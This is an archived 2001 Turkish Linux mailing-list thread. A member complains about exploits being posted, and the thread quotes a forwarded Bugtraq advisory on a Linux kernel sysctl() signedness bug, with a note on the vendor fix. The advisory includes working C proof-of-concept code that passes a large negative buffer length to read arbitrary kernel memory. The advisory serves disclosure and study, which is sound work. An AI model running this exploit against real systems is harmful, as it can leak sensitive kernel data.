[LINUX:27822] RE: Linux kernel sysctl() vulnerability (fwd)

---------

New Message Reply About this list Date view Thread view Subject view Author view

From: Tufan Sen (tufan@itu.edu.tr)
Date: Tue 15 May 2001 - 04:00:38 EEST


Exploit dagatmakta bu listenin amaclari arasina girdi demek. Ne guzel....
(Asagidaki exploitin internet uzerinden kolayca bulunabilecegini biliyorum.
Ama yinede bu tur bilgileri listelerde gormek benim hosuma gitmiyor..)

-----Original Message-----
From: linux@listweb.bilkent.edu.tr [mailto:linux@listweb.bilkent.edu.tr]On
Behalf Of Korhan Gurler
Sent: 14 Mayis 2001 Pazartesi 04:33
To: Multiple recipients of list LINUX
Subject: [LINUX:27358] Linux kernel sysctl() vulnerability (fwd)

Linux kernel'indaki acigi istemisti bir arkadas, umarim yardimci
olur...

+--------------------------------------------------+
| /"\ |
| \ / |
| X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL |
| / \ |
`~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'

---------- Forwarded message ----------
Date: Fri, 9 Feb 2001 19:38:09 +0000
From: Chris Evans <chris@SCARY.BEASTS.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Linux kernel sysctl() vulnerability

Hi,

OVERVIEW

There exists a Linux system call sysctl() which is used to query and
modify runtime system settings. Unprivileged users are permitted to query
the value of many of these settings.

The unprivileged user passes in a buffer location and the length of this
buffer. Unfortunately, by specifying a negative buffer length, a user can
read pretty arbitrary kernel memory.

DISCUSSION OF FLAW

Looking at linux/kernel/sysctl.c: sysctl_string()

        int l, len;
.
        if (oldval && oldlenp) {
                if(get_user(len, oldlenp))
                        return -EFAULT;
                if (len) {
                        l = strlen(table->data);
                        if (len > l) len = l;
                        if (len >= table->maxlen)
                                len = table->maxlen;
                        if(copy_to_user(oldval, table->data, len))
                                return -EFAULT;

The contents of variable "len" are totally under the control of a
malicious user. Since len is declared as signed, a negative value may be
used. This bypasses the "len >= table->maxlen" check and copies kernel
data to userspace, starting at "table->data".

The sysctl.c file contains several signed/unsigned mixups like the above.

To exploit this, there are a couple of minor issues.
1) copy_to_user() virtual address space wrap check. A check in the kernel
means we need to place the destination user space buffer low in the
virtual address space, using mmap(). The default heap location on i386 is
too high.

2) The usefulness of this exploit will vary depedending upon if the
address of the table->data pointer used is _before_ lots of interesting
kernel stuff. On ix86 Linux, this certainly seems to be the case.

3) I have a report that the kernel may be caused to hang using this bug.
I haven't investigated.

FIX

The recent flurry of updated kernels from vendors include a fix for the
sysctl() problem. The fix is essentially to use unsigned variables for the
lengths.

COMMENTS

As we see, integer signedness issues seem to be everywhere. Subtle flaws
like these are a great concern because they are hard to spot and audits
will miss them.

Quick hacky demo code of how you might go about playing with this, is
appended.

Cheers
Chris

/* Excuse the lack of error checking */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args);

#define BUFLEN 1000000

int
main(int argc, const char* argv[])
{
  struct __sysctl_args args_of_great_doom;

  int names[2] = { CTL_KERN, KERN_NODENAME };
  /* Minus 2 billion - somewhere close to biggest negative int */
  int dodgy_len = -2000000000;
  int fd;
  char* p_buf;

  fd = open("/dev/zero", O_RDWR);
  p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
               MAP_FIXED | MAP_PRIVATE, fd, 0);

  memset(p_buf, '\0', BUFLEN);
  fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);

  args_of_great_doom.name = names;
  args_of_great_doom.nlen = 2;
  args_of_great_doom.oldval = p_buf;
  args_of_great_doom.oldlenp = &dodgy_len;
  args_of_great_doom.newval = 0;
  args_of_great_doom.newlen = 0;

  _sysctl(&args_of_great_doom);

  fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);
}

 Listeden cikmak icin:
          unsub linux
 mesajini listeci@bilkent.edu.tr adresine gonderiniz.
   Lutfen Listeci icin MIME / HTML / Turkce Aksan kullanmayin.
 Listeci arayuzu: http://listweb.bilkent.edu.tr/yardim/bilkent/linux.html
 Liste arsivinin adresi: http://listweb.bilkent.edu.tr/

 
 Listeden cikmak icin:
          unsub linux
 mesajini listeci@bilkent.edu.tr adresine gonderiniz.
   Lutfen Listeci icin MIME / HTML / Turkce Aksan kullanmayin.
 Listeci arayuzu: http://listweb.bilkent.edu.tr/yardim/bilkent/linux.html
 Liste arsivinin adresi: http://listweb.bilkent.edu.tr/


New Message Reply About this list Date view Thread view Subject view Author view

---------

Bu arsiv hypermail 2b29 tarafindan uretilmistir.